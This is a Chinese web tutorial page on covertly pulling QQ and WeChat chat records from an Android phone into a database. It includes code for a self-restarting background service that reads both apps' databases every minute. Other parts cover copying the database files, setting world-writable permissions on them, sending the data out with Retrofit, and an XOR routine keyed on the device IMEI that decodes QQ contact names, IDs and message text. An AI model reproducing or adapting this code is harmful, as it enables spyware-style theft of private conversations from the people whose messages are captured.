Android如何获取QQ与微信的聊天记录并保存到数据库详解


当前第2页 返回上一页

最新安卓系统很难写个死循环直接跑了,所以我们需要使用Intent,来开始Service,再通过Service调用AlarmManager。

public class MainActivity extends AppCompatActivity {
 private Intent intent;
 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity\_main);
  intent = new Intent(this, LongRunningService.class);
  startService(intent);
 }

 @Override
 protected void onDestroy() {
  super.onDestroy();
  stopService(intent);
 }
}

然后再创建一个LongRunningService,在其中调用AlarmManager。

 AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
 int Minutes = 60*1000; //此处规定执行的间隔时间
 long triggerAtTime = SystemClock.elapsedRealtime() + Minutes;
 Intent intent1 = new Intent(this, AlarmReceiver.class);//注入要执行的类
 PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent1, 0);
 manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pendingIntent);
 return super.onStartCommand(intent, flags, startId);

在AlarmReceiver中调用我们的方法。

 Log.e("saurfang","测试定时任务----BEGIN");
 //微信部分
 postWXMsg.readWXDatabase();
 //QQ部分
 postQQMsg.readQQDatabase();
 Log.e("saurfang","测试定时任务----END");
 //再次开启LongRunningService这个服务,即可实现定时循环。
 Intent intentNext = new Intent(context, LongRunningService.class);
 context.startService(intentNext);
  • 安卓不允许在主线程里进行网络连接,可以直接用 retrofit2 来发送数据。
  • 项目需要授权网络连接
  • 项目需要引入的包
implementation files('libs/sqlcipher.jar')
implementation files('libs/sqlcipher-javadoc.jar')
implementation 'com.squareup.retrofit2:retrofit:2.0.0'
implementation 'com.squareup.retrofit2:converter-gson:2.0.0'

如果复制文件时失败,校验文件路径不存在,多半是因为授权问题。需要对数据库文件授权 全用户rwx权限

部分源码

(因为种种原因,我不太好直接把源码贴上来。)

复制文件的方法

 /**
  * 复制单个文件
  *
  * @param oldPath String 原文件路径 如:c:/fqf.txt
  * @param newPath String 复制后路径 如:f:/fqf.txt
  * @return boolean
  */
 public static boolean copyFile(String oldPath, String newPath) {
  deleteFolderFile(newPath, true);
  Log.e("copyFile", "time_1:" + System.currentTimeMillis());
  InputStream inStream = null;
  FileOutputStream fs = null;
  try {
   int bytesum = 0;
   int byteread = 0;
   File oldfile = new File(oldPath);
   Boolean flag = oldfile.exists();
   Log.e("copyFile", "flag:" +flag );
   if (oldfile.exists()) { //文件存在时
    inStream = new FileInputStream(oldPath); //读入原文件
    fs = new FileOutputStream(newPath);
    byte[] buffer = new byte[2048];
    while ((byteread = inStream.read(buffer)) != -1) {
     bytesum += byteread; //字节数 文件大小
     fs.write(buffer, 0, byteread);
    }
    Log.e("copyFile", "time_2:" + System.currentTimeMillis());
   }
  } catch (Exception e) {
   System.out.println("复制单个文件操作出错");
   e.printStackTrace();
  } finally {
   try {
    if (inStream != null) {
     inStream.close();
    }
    if (fs != null) {
     fs.close();
    }
   } catch (IOException e) {
    e.printStackTrace();
   }
  }
  return true;
 }

 /**
  * 删除单个文件
  *
  * @param filepath
  * @param deleteThisPath
  */
 public static void deleteFolderFile(String filepath, boolean deleteThisPath) {
  if (!TextUtils.isEmpty(filepath)) {
   try {
    File file = new File(filepath);
    if (file.isDirectory()) {
     //处理目录
     File files[] = file.listFiles();
     for (int i = 0; i < file.length(); i++) {
      deleteFolderFile(files[i].getAbsolutePath(), true);
     }
    }
    if (deleteThisPath) {
     if (!file.isDirectory()) {
      //删除文件
      file.delete();
     } else {
      //删除目录
      if (file.listFiles().length == 0) {
       file.delete();
      }
     }
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }

MD5方法

public class MD5Until {
 public static char HEX_DIGITS[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
   'A', 'B', 'C', 'D', 'E', 'F'};
 //将字符串转化为位
 public static String toHexString(byte[] b){
  StringBuilder stringBuilder = new StringBuilder(b.length * 2);
  for (int i = 0; i < b.length; i++) {
   stringBuilder.append(HEX_DIGITS[(b[i] & 0xf0) >>> 4]);
   stringBuilder.append(HEX_DIGITS[b[i] & 0x0f]);
  }
  return stringBuilder.toString();
 }
 public static String md5(String string){
  try {
   MessageDigest digest = java.security.MessageDigest.getInstance("MD5");
   digest.update(string.getBytes());
   byte messageDigest[] = digest.digest();
   return toHexString(messageDigest);
  }catch (NoSuchAlgorithmException e){
   e.printStackTrace();
  }
  return "";
 }
}

QQ信息解密方法

public class MessageDecode {
 public String imeiID;
 public int imeiLen;
 public MessageDecode(String imeiID)
 {
  this.imeiID = imeiID;
  this.imeiLen = imeiID.length();
 }

 public boolean isChinese(byte ch) {
  int res = ch & 0x80;
  if(res != 0)
   return true;
  return false;
 }

 public String timeDecode(String time)
 {
  String datetime = "1970-01-01 08:00:00";
  SimpleDateFormat sdFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  try {
   long second = Long.parseLong(time);
   Date dt = new Date(second * 1000);
   datetime = sdFormat.format(dt);
  } catch (NumberFormatException e) {
   e.printStackTrace();
  }
  return datetime;
 }

 public String nameDecode(String name)
 {
  byte nbyte[] = name.getBytes();
  byte ibyte[] = imeiID.getBytes();
  byte xorName[] = new byte[nbyte.length];
  int index = 0;
  for(int i = 0; i < nbyte.length; i++) {
   if(isChinese(nbyte[i])){
    xorName[i] = nbyte[i];
    i++;
    xorName[i] = nbyte[i];
    i++;
    xorName[i] = (byte)(nbyte[i] ^ ibyte[index % imeiLen]);
    index++;
   } else {
    xorName[i] = (byte)(nbyte[i] ^ ibyte[index % imeiLen]);
    index++;
   }
  }
  return new String(xorName);
 }

 public String uinDecode(String uin)
 {
  byte ubyte[] = uin.getBytes();
  byte ibyte[] = imeiID.getBytes();
  byte xorMsg[] = new byte[ubyte.length];
  int index = 0;
  for(int i = 0; i < ubyte.length; i++) {
   xorMsg[i] = (byte)(ubyte[i] ^ ibyte[index % imeiLen]);
   index++;
  }
  return new String(xorMsg);
 }

 public String msgDecode(byte[] msg)
 {
  byte ibyte[] = imeiID.getBytes();
  byte xorMsg[] = new byte[msg.length];
  int index = 0;
  for(int i = 0; i < msg.length; i++) {
   xorMsg[i] = (byte)(msg[i] ^ ibyte[index % imeiLen]);
   index++;
  }
  return new String(xorMsg);
 }
}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对的支持。


标签:SQLite

返回前面的内容

相关阅读 >>

Sqlite教程(四):内置函数

关于若干数据库数据插入性能的对比分析

将txt文本内容导入Sqlite的方法

python 操作Sqlite数据库详情

c#操作Sqlite数据库之读写数据库的方法

database.net强大的数据库查询管理工具使用图文教程

python sqlalchemy 中的engine详解

Sqlite expert pro5.0如何安装可视化数据库管理软件激活教程

android Sqlite命令详解(基本命令)

sql学习之case when then else end的用法

更多相关阅读请进入《Sqlite》频道 >>


数据库系统概念 第6版
书籍

数据库系统概念 第6版

机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...